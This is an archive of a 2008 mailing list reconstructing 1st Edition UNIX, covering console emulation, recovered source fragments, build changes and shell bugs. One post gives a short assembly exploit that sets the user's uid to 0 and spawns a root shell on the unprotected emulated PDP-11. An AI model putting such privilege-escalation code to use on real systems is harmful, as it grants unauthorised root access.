Date: Fri, 9 May 2008 07:42:28 -1000 (HST)
Subject: [Unix-jun72] T4002A
Message-ID: <Pine.BSI.4.64.0805090739480.20114@malasada.lava.net>

An early section of the jun72 document has some code for
"modifications to UNIX to accomodate the T4002A graphic console."
Is anyone familiar with this?  If we could emulate this device
easily, it might be fun to enter this patch as an optional patch
to the system.

Tim Newsham
http://www.thenewsh.com/~newsham/


From milov at uwlax.edu  Sat May 10 04:29:29 2008
From: milov at uwlax.edu (Milo Velimirovic)
Date: Fri, 9 May 2008 13:29:29 -0500
Subject: [Unix-jun72] T4002A
In-Reply-To: <Pine.BSI.4.64.0805090739480.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805090739480.20114@malasada.lava.net>
Message-ID: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu>

I worked with a successor device the Tektronix 4010. It's a storage  
scope that doubles as a terminal. It ought to be easy enough to  
emulate the alphanumeric part of this with a terminal but the  
graphical capabilities would be a challenge -- especially if  
portability was an issue. But if it wasn't challenging it wouldn't be  
interesting or any fun....

just my $.02
  - Milo

On May 9, 2008, at 12:42 PM, Tim Newsham wrote:

> An early section of the jun72 document has some code for
> "modifications to UNIX to accomodate the T4002A graphic console."
> Is anyone familiar with this?  If we could emulate this device
> easily, it might be fun to enter this patch as an optional patch
> to the system.
>
> Tim Newsham
> http://www.thenewsh.com/~newsham/
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72

--
Milo Velimirović,  Unix Computer Network Administrator
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA   43 48 48 N 91 13 53 W





From madcrow.maxwell at gmail.com  Sat May 10 05:17:37 2008
From: madcrow.maxwell at gmail.com (Michael Kerpan)
Date: Fri, 9 May 2008 15:17:37 -0400
Subject: [Unix-jun72] T4002A
In-Reply-To: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu>
References: <Pine.BSI.4.64.0805090739480.20114@malasada.lava.net>
	<2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu>
Message-ID: <8dd2d95c0805091217l1418ec9fwd5d1f16285168b76@mail.gmail.com>

xterm can emulate a 4014. I don't knwo how much the protocol changed
over the years, but if it was mostnly similar then that code from
xterm could serve as a good starting point.

On Fri, May 9, 2008 at 2:29 PM, Milo Velimirovic <milov at uwlax.edu> wrote:
> I worked with a successor device the Tektronix 4010. It's a storage
> scope that doubles as a terminal. It ought to be easy enough to
> emulate the alphanumeric part of this with a terminal but the
> graphical capabilities would be a challenge -- especially if
> portability was an issue. But if it wasn't challenging it wouldn't be
> interesting or any fun....
>
> just my $.02
>  - Milo
>
> On May 9, 2008, at 12:42 PM, Tim Newsham wrote:
>
>> An early section of the jun72 document has some code for
>> "modifications to UNIX to accomodate the T4002A graphic console."
>> Is anyone familiar with this?  If we could emulate this device
>> easily, it might be fun to enter this patch as an optional patch
>> to the system.
>>
>> Tim Newsham
>> http://www.thenewsh.com/~newsham/
>> _______________________________________________
>> Unix-jun72 mailing list
>> Unix-jun72 at tuhs.org
>> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
> --
> Milo Velimirović,  Unix Computer Network Administrator
> University of Wisconsin - La Crosse
> La Crosse, Wisconsin 54601 USA   43 48 48 N 91 13 53 W
>
>
>
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>

From imp at bsdimp.com  Sat May 10 05:38:56 2008
From: imp at bsdimp.com (M. Warner Losh)
Date: Fri, 09 May 2008 13:38:56 -0600 (MDT)
Subject: [Unix-jun72] T4002A
In-Reply-To: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu>
References: <Pine.BSI.4.64.0805090739480.20114@malasada.lava.net>
	<2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu>
Message-ID: <20080509.133856.-563881688.imp@bsdimp.com>

In message: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98 at uwlax.edu>
            Milo Velimirovic <milov at uwlax.edu> writes:
: I worked with a successor device the Tektronix 4010. It's a storage  
: scope that doubles as a terminal. It ought to be easy enough to  
: emulate the alphanumeric part of this with a terminal but the  
: graphical capabilities would be a challenge -- especially if  
: portability was an issue. But if it wasn't challenging it wouldn't be  
: interesting or any fun....

IIRC, the good news here is that the Tektronix terminal was just a
serial attached device that did its drawing with escape sequences that
are well documented/understood.  Many early X terminal emulators has a
tektronix mode, for example.  That makes emulation a little easier.

I hope that the 4002A is one of these beasts.  I recall seeing it on
an emulation list for a tektronix emulator I worked with in the early
1990's, but it has been long enough that the neurons may have
decayed...

Warner


From imp at bsdimp.com  Sat May 10 05:40:35 2008
From: imp at bsdimp.com (M. Warner Losh)
Date: Fri, 09 May 2008 13:40:35 -0600 (MDT)
Subject: [Unix-jun72] T4002A
In-Reply-To: <20080509.133856.-563881688.imp@bsdimp.com>
References: <Pine.BSI.4.64.0805090739480.20114@malasada.lava.net>
	<2F53B3D5-9ADD-4708-A503-5897F9BCCB98@uwlax.edu>
	<20080509.133856.-563881688.imp@bsdimp.com>
Message-ID: <20080509.134035.-2085250841.imp@bsdimp.com>

In message: <20080509.133856.-563881688.imp at bsdimp.com>
            M. Warner Losh <imp at bsdimp.com> writes:
: In message: <2F53B3D5-9ADD-4708-A503-5897F9BCCB98 at uwlax.edu>
:             Milo Velimirovic <milov at uwlax.edu> writes:
: : I worked with a successor device the Tektronix 4010. It's a storage  
: : scope that doubles as a terminal. It ought to be easy enough to  
: : emulate the alphanumeric part of this with a terminal but the  
: : graphical capabilities would be a challenge -- especially if  
: : portability was an issue. But if it wasn't challenging it wouldn't be  
: : interesting or any fun....
: 
: IIRC, the good news here is that the Tektronix terminal was just a
: serial attached device that did its drawing with escape sequences that
: are well documented/understood.  Many early X terminal emulators has a
: tektronix mode, for example.  That makes emulation a little easier.
: 
: I hope that the 4002A is one of these beasts.  I recall seeing it on
: an emulation list for a tektronix emulator I worked with in the early
: 1990's, but it has been long enough that the neurons may have
: decayed...

Pictures of the real thing:
	http://www.science.uva.nl/museum/tek4002a.html

Warner


From newsham at lava.net  Sun May 11 04:37:33 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 10 May 2008 08:37:33 -1000 (HST)
Subject: [Unix-jun72] another small hack
Message-ID: <Pine.BSI.4.64.0805100835030.20114@malasada.lava.net>

No memory protection:

.. = 40014
         mov     $0,037772 / u.uid = 0, u.ruid = 0
         sys     exec; shell; shellp
         sys     exit

shell:  </bin/sh\0>
shellm: <-\0>
shellp: shellm
         0

-----
$ APOUT_ROOT=../fs/root ../tools/apout/apout ../fs/root/bin/as hack.s
$ ../tools/fixaout.py
$ mv b.out hack
... put it on your rk0 as /bin/hack, login as bin, run "hack".

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Sun May 11 05:10:29 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 10 May 2008 09:10:29 -1000 (HST)
Subject: [Unix-jun72] build reorg
Message-ID: <Pine.BSI.4.64.0805100908340.20114@malasada.lava.net>

I just committed some changes that reorganize the build process a bit.
The Readme contains information about the change.  Basically now you
just do a "make" at the top level.  If you have a checked out tree
you might have to move your current "build" aside when you do an
update.  Please let me know if anyone notices brokenness.

Warren, can you look over the Readme?

Tim Newsham
http://www.thenewsh.com/~newsham/


From dougmerritt at earthlink.net  Sat May 10 12:34:10 2008
From: dougmerritt at earthlink.net (Doug Merritt)
Date: Fri, 9 May 2008 22:34:10 -0400 (EDT)
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
Message-ID: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>

FYI I recovered 100% of the s1 src code fragments; I presume this
is of interest to y'all on this list, yes?

Actually I started to do so years ago, got distracted, and just started
again April 18, purely by coincidence, just days before this
list started -- quite a coincidence!

Then I went off trying to chase down the Multics source that
Ken and Dennis and Doug and Joe et al wrote, which eventually
lead me to discover the V1 source listing at bitsavers, and
googling *that* lead me to this (apparently stealth-mode) list.
(I have no gmail, btw, so I haven't requested to join, nor to svn.)

And reading the archived messages, wow, you guys got an amazing
amount done in a very short time! Congrats! (Boy am I glad I don't
have to do all that by myself after all...)

To give you an idea of what I got out of those frags, here's
the file listing of the result:

acct.s                  cc.c                    fed2.s
ar.s                    chmod.s                 fed3.s
as11.s                  chown.s                 form1.s
as12.s                  cmp.s                   form2.s
as13.s                  colon.s                 form3.s
as14.s                  cp.c                    form4.s
as15.s                  date.s                  form5.s
as16.s                  db1.s                   form6.s
as17.s                  db2.s                   fstrip.s
as18.s                  db3.s                   getty.s
as19.s                  db4.s                   glob.c
as21.s                  dc1.s                   goto.c
as22.s                  dc2.s                   if.c
as23.s                  dc3.s                   init.s
as24.s                  dc4.s                   ld1.s
as25.s                  dc5.s                   ld2.s
as26.s                  df.s                    ldx.s
as27.s                  dsw.s                   ln.s
as28.s                  dusg.s                  login.s
as29.s                  ed3.s                   ls.s
bas0.s                  exit.c                  unknown_frag64.c
bas1.s                  fc.c
cat.s                   fed1.s

(Warren's "Missing commands" missive in the list archive said "maki"
is present as a v2 binary, but don't forget that its *source* is present
also, in /usr/ken/maki.s and also /usr/sys/maki.s)

Note that ed1.s and ed2.s are missing. Their source code simply wasn't
in any of the fragments (which means, was not on the s1 disk image).

The "unknown_frag64.c" is almost certainly just a random useless C
program, not part of the actual Unix source (it doesn't look like
interesting code, and the indentation is random -- it's not written
in The One True Style).

Warren's frag68 and frag69 are not true fragments, so given all the above,
the reconstitution of s1 is complete (but needs double checking, e.g.
by people trying to assemble and run the source).

NOTE: I am not sure of precisely when s1 dates to, but many of these
source files use the "jsr    r5, 0: <buffer>" calling convention that
requires writable code segments -- did that go away sharply with the
pdp11/20 to pdp11/45 move, or no?

Also note that these source files have both 0405 *and* 0407 types of
preludes, and that is also true of some of the binary disk blocks on
the s1 image that happen to contain executable commands (I've taken
only a brief look at the latter so far).

On the subject of the TEK graphics display, don't forget that good old
xterm(1) has a Tektronix 4014 mode! I don't remember how much variation
Tektronix had between different models (I may still have some manuals
somewhere, not sure), but conceivably that's a starting point.

P.S. Since doing the above, I've been working on a disassembler; it
works ok, and emits of course 'as'-syntax asm, and accepts a markup-
command file to allow e.g. introduction of human-chosen labels for octal
addresses -- and I'm nearly done
adding the ability to produce "1f" "1b" style branch labels -- I
created a bunch of bugs in the process of doing that.

When I get that settled down better, I intend to use it for very much the
same purpose that Warren was talking about in the list archives.

I also wrote a tap-format unarchiver from scratch to re-extract s2, but
unsurprisingly that was a wasted effort; Ken's extraction did in fact
recover everything in s2 that there is to recover. I should have known. :-)

P.P.S. While you're asking Ken and Dennis for more listings, ask them
for any "Unics" PDP 7 listings they may have, too! I suspect Ken even
has a Space Travel listing lying around, although I don't think he
has ever mentioned it over the decades.

P.P.P.S. The Computer History Museum is opening its exhibit of the
second Babbage engine replica tomorrow; I'm looking forward to it.
   Doug Merritt
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From doug at remarque.org  Sat May 10 13:21:27 2008
From: doug at remarque.org (Doug Merritt)
Date: Fri,  9 May 2008 20:21:27 -0700 (PDT)
Subject: [Unix-jun72] if you're looking for a different way to volunteer...
Message-ID: <20080510032127.63E2C5A522@remarque.org>

if you want to contribute, but don't have e.g. arcane knowledge of
PDP 11 assembly and such -- then let me suggest that it would be
interesting to find out more about these people listed in the 1973
"Study of Unix" documents (http://www.bitsavers.org/pdf/bellLabs/unix/)
that formed the basis of this reconstruction effort.

For starters, who was this "T. R. Bashkow" who called the
meeting? Some googling last week indicates to me that he has
an engineering award named after him, and that he does
not have a wikipedia entry.

B. A. Tague's name is prominent too, although I personally
do not recognize it. And similarly for the other memo
addressees.

Consider that any of these people might just happen to still
have source code listings, magnetic/DEC-tapes, paper tape, or even just
historical anecdotes to share, but perhaps no one ever asked
them.

Or their heirs, for any who have passed on.

In any case, it's getting kind of late in history; this may
be the last chance to track down even information about these
people who participated in this historic meeting, let alone
find them and ask them about ancient media.

P.S. The above thoughts apply to all other historic systems, of course,
not just those Unix-related.

I managed to find a RESISTORS-related historic document last week,
for instance. (Princeton-area early hobbyist computer group.)
	Doug Merritt
--
Professional Wild-eyed Visionary        Member, Crusaders for a Better Tomorrow


From wkt at tuhs.org  Sun May 11 19:33:40 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 11 May 2008 19:33:40 +1000
Subject: [Unix-jun72] another small hack
In-Reply-To: <Pine.BSI.4.64.0805100835030.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805100835030.20114@malasada.lava.net>
Message-ID: <20080511093340.GA7947@minnie.tuhs.org>

On Sat, May 10, 2008 at 08:37:33AM -1000, Tim Newsham wrote:
> No memory protection:

No, the 11/20 didn't have memory protection.

I'm back from a few days away. Will send some answers in soon.

	Warren


From wkt at tuhs.org  Sun May 11 19:38:26 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 11 May 2008 19:38:26 +1000
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
Message-ID: <20080511093826.GB7947@minnie.tuhs.org>

On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote:
> FYI I recovered 100% of the s1 src code fragments; I presume this
> is of interest to y'all on this list, yes?

Certainy is Doug. Next time you e-mail in, I'll set you as being able to
post without a subscription. I forgot when I let your first 2 e-mails thru.

Where can we get your reassembled fragments?!

> And reading the archived messages, wow, you guys got an amazing
> amount done in a very short time! Congrats! (Boy am I glad I don't
> have to do all that by myself after all...)

I'm glad I don't have to rebuild the s1 fragments :) Thanks!

> Note that ed1.s and ed2.s are missing. Their source code simply wasn't
> in any of the fragments (which means, was not on the s1 disk image).

Damn, oh well. I should have a look at 5th Edition to see if "ed" is
in C by that stage, or still in asm form.

> NOTE: I am not sure of precisely when s1 dates to, but many of these
> source files use the "jsr    r5, 0: <buffer>" calling convention that
> requires writable code segments -- did that go away sharply with the
> pdp11/20 to pdp11/45 move, or no?

Probably, but it's hard to tell. We don't have any early assembly stuff
which would date from the 11/45: it's the s1/s2 tapes, then the early
C compilers, then the "nsys" kernel which just predates 3rd Edition.

> P.S. Since doing the above, I've been working on a disassembler; it
> works ok, and emits of course 'as'-syntax asm, and accepts a markup-
> command file to allow e.g. introduction of human-chosen labels for octal
> addresses -- and I'm nearly done
> adding the ability to produce "1f" "1b" style branch labels -- I
> created a bunch of bugs in the process of doing that.

We'd love to get a copy. I started on a disassembler myself...

> P.P.S. While you're asking Ken and Dennis for more listings, ask them
> for any "Unics" PDP 7 listings they may have, too! I suspect Ken even
> has a Space Travel listing lying around, although I don't think he
> has ever mentioned it over the decades.

Shall do.

Thanks again Doug.
	Warren


From wkt at tuhs.org  Sun May 11 19:42:30 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 11 May 2008 19:42:30 +1000
Subject: [Unix-jun72] if you're looking for a different way to
	volunteer...
In-Reply-To: <20080510032127.63E2C5A522@remarque.org>
References: <20080510032127.63E2C5A522@remarque.org>
Message-ID: <20080511094230.GC7947@minnie.tuhs.org>

On Fri, May 09, 2008 at 08:21:27PM -0700, Doug Merritt wrote:
> if you want to contribute, but don't have e.g. arcane knowledge of
> PDP 11 assembly and such -- then let me suggest that it would be
> interesting to find out more about these people listed in the 1973
> "Study of Unix" documents (http://www.bitsavers.org/pdf/bellLabs/unix/)
> that formed the basis of this reconstruction effort.

Good idea.
> 
> For starters, who was this "T. R. Bashkow" who called the
> meeting? Some googling last week indicates to me that he has
> an engineering award named after him, and that he does
> not have a wikipedia entry.

Ted Bashkow. That's all I've found too. We should ask Dennis.
 
> B. A. Tague's name is prominent too, although I personally
> do not recognize it. And similarly for the other memo
> addressees.

Berkeley Tague: I think one of the managers at Bell Labs. I should know
more, but a Google find this quickly:
http://www.ais.org/~jrh/acn/text/ACN6-1.txt, and there's more out there.
 
> Consider that any of these people might just happen to still
> have source code listings, magnetic/DEC-tapes, paper tape, or even just
> historical anecdotes to share, but perhaps no one ever asked
> them.

I've asked as many as I could find. An early AUUG or Usenix newsletter
mentioned that Jim McKie has won a 2nd Edition DECtape at a conference
"trivia night": I e-mailed him, and to cut a long story short, it is
probably the s1/s2 tapes that Dennis found. Kirk McKusick and Keith Bostic
found a DEC tape reader, connected it up to a VAX, and read the s1/s2 tapes
for Dennis.

Cheers,
	Warren


From wkt at tuhs.org  Sun May 11 22:28:58 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 11 May 2008 22:28:58 +1000
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
Message-ID: <20080511122858.GA13515@minnie.tuhs.org>

On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote:
> FYI I recovered 100% of the s1 src code fragments; I presume this
> is of interest to y'all on this list, yes?
>
> Note that ed1.s and ed2.s are missing. Their source code simply wasn't
> in any of the fragments (which means, was not on the s1 disk image).

I just looked at 5th Edition:

-rw-r--r--  0 3      1        7998 Nov 27  1974 ./usr/source/s1/ed1.s
-rw-r--r--  0 3      1        5757 Nov 27  1974 ./usr/source/s1/ed2.s
-rw-r--r--  0 3      1        4616 Nov 27  1974 ./usr/source/s1/ed3.s

which means that we do have "ed" in assembly format, and given that Doug
found "ed3.s", we have a basis for comparison, which means we might be
able to revert 5e ed1.s and ed2.s back to what runs on the 1st Edition kernel.

	Warren


From wkt at tuhs.org  Sun May 11 22:44:09 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 11 May 2008 22:44:09 +1000
Subject: [Unix-jun72] when did jsr r5 stop?
In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
Message-ID: <20080511124409.GA13686@minnie.tuhs.org>

On Fri, May 09, 2008 at 10:34:10PM -0400, Doug Merritt wrote:
> NOTE: I am not sure of precisely when s1 dates to, but many of these
> source files use the "jsr    r5, 0: <buffer>" calling convention that
> requires writable code segments -- did that go away sharply with the
> pdp11/20 to pdp11/45 move, or no?

I promise I'll stop replying now, just one more...

After unpacking the 5th Edition source, there are lots of applications
still written in assembly code; I'll provide a list below. And many
of them still use the jsr    r5, calling convention.

5th Edition UNIX has two a.out header types: the 0407 a.out header still
allowed mixed code+data with writable code. The 0410 a.out header was the
first where code was read-only, and data was separated out. Looking at the
paper manuals I've got, 4th Edition is the first manual which mentions the
0410 header.

I would guess that the 0410 read-only code header was created when
PDP-11s arrived which supported split instruction/data address spaces.

And here are the .s files from 5th Edition:

usr/c/c0t.s		usr/source/s1/grep.s	usr/source/s4/exp.s
usr/c/c1t.s		usr/source/s1/kill.s	usr/source/s4/ffltpr.s
usr/c/cctab.s		usr/source/s1/ld1.s	usr/source/s4/floor.s
usr/c/efftab.s		usr/source/s1/ld2.s	usr/source/s4/fltpr.s
usr/c/regtab.s		usr/source/s1/ldx.s	usr/source/s4/fmod.s
usr/c/sptab.s		usr/source/s1/lpd.s	usr/source/s4/fork.s
usr/fort/sum.s		usr/source/s2/mesg.s	usr/source/s4/fstat.s
usr/mdec/dldr.s		usr/source/s2/mkdir.s	usr/source/s4/gamma.s
usr/mdec/dli.s		usr/source/s2/msh.s	usr/source/s4/getc.s
usr/mdec/dtf.s		usr/source/s2/passwd.s	usr/source/s4/getchr.s
usr/mdec/list.s		usr/source/s2/pfe.s	usr/source/s4/getcsw.s
usr/mdec/mcopy.s	usr/source/s2/rew.s	usr/source/s4/getgid.s
usr/mdec/rkf.s		usr/source/s2/rmdir.s	usr/source/s4/getuid.s
usr/mdec/tboot.s	usr/source/s2/strip.s	usr/source/s4/gtty.s
usr/mdec/uboot.s	usr/source/s2/sum.s	usr/source/s4/hmul.s
usr/source/s1/ar.s	usr/source/s2/time.s	usr/source/s4/hsw.s
usr/source/s1/as11.s	usr/source/s2/tp1.s	usr/source/s4/kill.s
usr/source/s1/as12.s	usr/source/s2/tp2.s	usr/source/s4/ldfps.s
usr/source/s1/as13.s	usr/source/s2/tp3.s	usr/source/s4/link.s
usr/source/s1/as14.s	usr/source/s2/tp4.s	usr/source/s4/locv.s
usr/source/s1/as15.s	usr/source/s2/tty.s	usr/source/s4/log.s
usr/source/s1/as16.s	usr/source/s2/update.s	usr/source/s4/ltod.s
usr/source/s1/as17.s	usr/source/s2/write.s	usr/source/s4/makdir.s
usr/source/s1/as18.s	usr/source/s3/atan.s	usr/source/s4/mcrt0.s
usr/source/s1/as19.s	usr/source/s3/atof.s	usr/source/s4/mdate.s
usr/source/s1/as21.s	usr/source/s3/atoi.s	usr/source/s4/mknod.s
usr/source/s1/as22.s	usr/source/s3/compar.s	usr/source/s4/mount.s
usr/source/s1/as23.s	usr/source/s3/crypt.s	usr/source/s4/nargs.s
usr/source/s1/as24.s	usr/source/s3/dpadd.s	usr/source/s4/nice.s
usr/source/s1/as25.s	usr/source/s3/ecvt.s	usr/source/s4/nlist.s
usr/source/s1/as26.s	usr/source/s3/exp.s	usr/source/s4/open.s
usr/source/s1/as27.s	usr/source/s3/fakfp.s	usr/source/s4/pipe.s
usr/source/s1/as28.s	usr/source/s3/fp1.s	usr/source/s4/pow.s
usr/source/s1/as29.s	usr/source/s3/fp2.s	usr/source/s4/printf.s
usr/source/s1/bas0.s	usr/source/s3/fp3.s	usr/source/s4/prof.s
usr/source/s1/bas1.s	usr/source/s3/fpx.s	usr/source/s4/putc.s
usr/source/s1/bas2.s	usr/source/s3/gamma.s	usr/source/s4/putchr.s
usr/source/s1/bas3.s	usr/source/s3/get.s	usr/source/s4/read.s
usr/source/s1/bas4.s	usr/source/s3/hypot.s	usr/source/s4/reset.s
usr/source/s1/bas5.s	usr/source/s3/ldiv.s	usr/source/s4/retrn.s
usr/source/s1/basx.s	usr/source/s3/log.s	usr/source/s4/rsave.s
usr/source/s1/cat.s	usr/source/s3/mesg.s	usr/source/s4/sbrk.s
usr/source/s1/chown.s	usr/source/s3/mon.s	usr/source/s4/seek.s
usr/source/s1/clri.s	usr/source/s3/nlist.s	usr/source/s4/setgid.s
usr/source/s1/db1.s	usr/source/s3/pow.s	usr/source/s4/setuid.s
usr/source/s1/db2.s	usr/source/s3/put.s	usr/source/s4/signal.s
usr/source/s1/db3.s	usr/source/s3/qsort.s	usr/source/s4/sin.s
usr/source/s1/db4.s	usr/source/s3/rand.s	usr/source/s4/sleep.s
usr/source/s1/dc1.s	usr/source/s3/sin.s	usr/source/s4/sqrt.s
usr/source/s1/dc2.s	usr/source/s3/sqrt.s	usr/source/s4/stat.s
usr/source/s1/dc3.s	usr/source/s3/ttyn.s	usr/source/s4/stime.s
usr/source/s1/dc4.s	usr/source/s4/abort.s	usr/source/s4/stty.s
usr/source/s1/dc5.s	usr/source/s4/atan.s	usr/source/s4/sync.s
usr/source/s1/diff2.s	usr/source/s4/atan2.s	usr/source/s4/time.s
usr/source/s1/dsw.s	usr/source/s4/atof.s	usr/source/s4/times.s
usr/source/s1/du.s	usr/source/s4/chdir.s	usr/source/s4/umount.s
usr/source/s1/ed1.s	usr/source/s4/chmod.s	usr/source/s4/unlink.s
usr/source/s1/ed2.s	usr/source/s4/chown.s	usr/source/s4/wait.s
usr/source/s1/ed3.s	usr/source/s4/close.s	usr/source/s4/write.s
usr/source/s1/fed1.s	usr/source/s4/cos.s	usr/source/s7/roff1.s
usr/source/s1/fed2.s	usr/source/s4/crand.s	usr/source/s7/roff2.s
usr/source/s1/fed3.s	usr/source/s4/creat.s	usr/source/s7/roff3.s
usr/source/s1/form1.s	usr/source/s4/crt0.s	usr/source/s7/roff4.s
usr/source/s1/form2.s	usr/source/s4/crypt.s	usr/source/s7/roff5.s
usr/source/s1/form3.s	usr/source/s4/dup.s	usr/source/s7/roff7.s
usr/source/s1/form4.s	usr/source/s4/ecvt.s	usr/source/s7/roff8.s
usr/source/s1/form5.s	usr/source/s4/execl.s	usr/source/s7/suftab.s
usr/source/s1/form6.s	usr/source/s4/execv.s	usr/sys/conf/low.s
usr/source/s1/getty.s	usr/source/s4/exit.s	usr/sys/conf/mch.s

Cheers,
	Warren


From wkt at tuhs.org  Sun May 11 22:53:44 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sun, 11 May 2008 22:53:44 +1000
Subject: [Unix-jun72] build reorg
In-Reply-To: <Pine.BSI.4.64.0805100908340.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805100908340.20114@malasada.lava.net>
Message-ID: <20080511125344.GB14552@minnie.tuhs.org>

On Sat, May 10, 2008 at 09:10:29AM -1000, Tim Newsham wrote:
> I just committed some changes that reorganize the build process a bit.
> The Readme contains information about the change.  Basically now you
> just do a "make" at the top level.  If you have a checked out tree
> you might have to move your current "build" aside when you do an
> update.  Please let me know if anyone notices brokenness.
> 
> Warren, can you look over the Readme?

Needs a description of images/ at the end.

Can we add make clean to the top-level Makefile? Otherwise, looks great.

	Warren


From brad at heeltoe.com  Sun May 11 23:53:06 2008
From: brad at heeltoe.com (Brad Parker)
Date: Sun, 11 May 2008 09:53:06 -0400
Subject: [Unix-jun72] I recovered 100% of the s1 src code fragments
In-Reply-To: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
References: <1160605.1210386850465.JavaMail.root@elwamui-norfolk.atl.sa.earthlink.net>
Message-ID: <22897.1210513986@mini>


Doug Merritt wrote:
>FYI I recovered 100% of the s1 src code fragments; I presume this
>is of interest to y'all on this list, yes?

wow.  goes without saying.  yes!

I'm curious, how did you do it?  I took a look at it and gave up after
about 15 minutes.  It looked like a jigsaw puzzle where all the pieces
were the same shape... :-)

(anyone notice if the 'as' puts out 0405 or 0407 binaries?)

-brad


From jam at magic.com  Mon May 12 00:13:32 2008
From: jam at magic.com (James A. Markevitch)
Date: Sun, 11 May 2008 07:13:32 -0700 (PDT)
Subject: [Unix-jun72] UNIX V1 bootstrap
Message-ID: <200805111413.HAA16057@mist.magic.com>

I've ported the bootstrap stuff over the whole UNIX V1 build process.
(Note: it would be nice to have a V1 as, so that all of these hacks
we've been doing can go away).

I'll send out the .tar.gz under a separate e-mail, but it's small enough (10K)
and I don't know who's in which timezone, so somebody should be able
to commit it.

There are two versions included: one that copies the bootstrap into
the rf0.dsk image before running the simulator, and one that runs
native under V1.  Given that, if someone builds the kernel using
as under V1, they can use the usr/boot/msys command to install it
without leaving the simulation.

The good news is that you can use that to copy your test kernel into
the cold boot area and if it fails, can re-start the simulator from
the warm boot area and not lose any of your filesystem (assuming your
bad kernel didn't trash it, of course).

I also have a boot command, but haven't tested it yet.  It could be
used to reboot without leaving the simulation.  That's fine if your
kernel works, of course.

James Markevitch


From jam at magic.com  Mon May 12 00:14:29 2008
From: jam at magic.com (James A. Markevitch)
Date: Sun, 11 May 2008 07:14:29 -0700 (PDT)
Subject: [Unix-jun72] boot_080511.tar.gz -- UNIX V1 bootstrap
Message-ID: <16075.1210515270@mist>

A non-text attachment was scrubbed...
Name: boot_080511.tar.gz
Type: application/octet-stream
Size: 10084 bytes
Desc: not available
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080511/cdc2d155/attachment.obj>

From newsham at lava.net  Mon May 12 04:55:06 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 11 May 2008 08:55:06 -1000 (HST)
Subject: [Unix-jun72] if you're looking for a different way to
	volunteer...
In-Reply-To: <20080510032127.63E2C5A522@remarque.org>
References: <20080510032127.63E2C5A522@remarque.org>
Message-ID: <Pine.BSI.4.64.0805110851550.20114@malasada.lava.net>

> For starters, who was this "T. R. Bashkow" who called the
> meeting? Some googling last week indicates to me that he has
> an engineering award named after him, and that he does
> not have a wikipedia entry.

I did a little googling earlier this weekend and I couldn't find
much.  T.R. Bashkow is "Theodore", he was at Columbia (emeritus
there).  For J. DeFelice I could find nothing.  There are lots of
hits for DeFelice in general, and a few academic papers in biology
for a J. DeFelice but I couldn't find much computer science or
bell labs related.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May 12 06:56:19 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 11 May 2008 10:56:19 -1000 (HST)
Subject: [Unix-jun72] sh.s
Message-ID: <Pine.BSI.4.64.0805111050460.20114@malasada.lava.net>

I did a comparison of s2's /bin/sh and the sh.s we have (notes in
the notes file about this).  There were a few changes, but they were
pretty similar.  I added a patch in the patches directory that reflects
the changes and I verified that if you build with the patch you get
an identical binary (modulo the padding bytes that the assembler
fills in for ".." and ".even").  It's currently marked as an optional
patch and the sh.s build isn't being installed over /bin/sh in the
rf0.dsk image.

I think the sh.s listing itself might be defective in two ways:

    - There's an rts missing at the end of the "error" function
    - It doesn't check for the "*" character when looking for globbing.

The 1e man page does list "*" as one of the globbing characters,
so its likely that these three instructions (1 rts, 2 for comparison)
somehow got dropped from the commented jun72 listing.  I'm torn between
adding them to the original "pages" sources as obvious mistakes or
just leaving it out and using a patch to fix it.  Right now we don't
have a patch that adds just these two fixes.  I guess if we did that and
made it a mandatory patch, we could use the sh we build from sh.s as
/bin/sh in the images.

I look forward to seeing what shell sources we might get from the s1
fragments recovery.

Tim Newsham
http://www.thenewsh.com/~newsham/


From newsham at lava.net  Mon May 12 07:44:50 2008
From: newsham at lava.net (Tim Newsham)
Date: Sun, 11 May 2008 11:44:50 -1000 (HST)
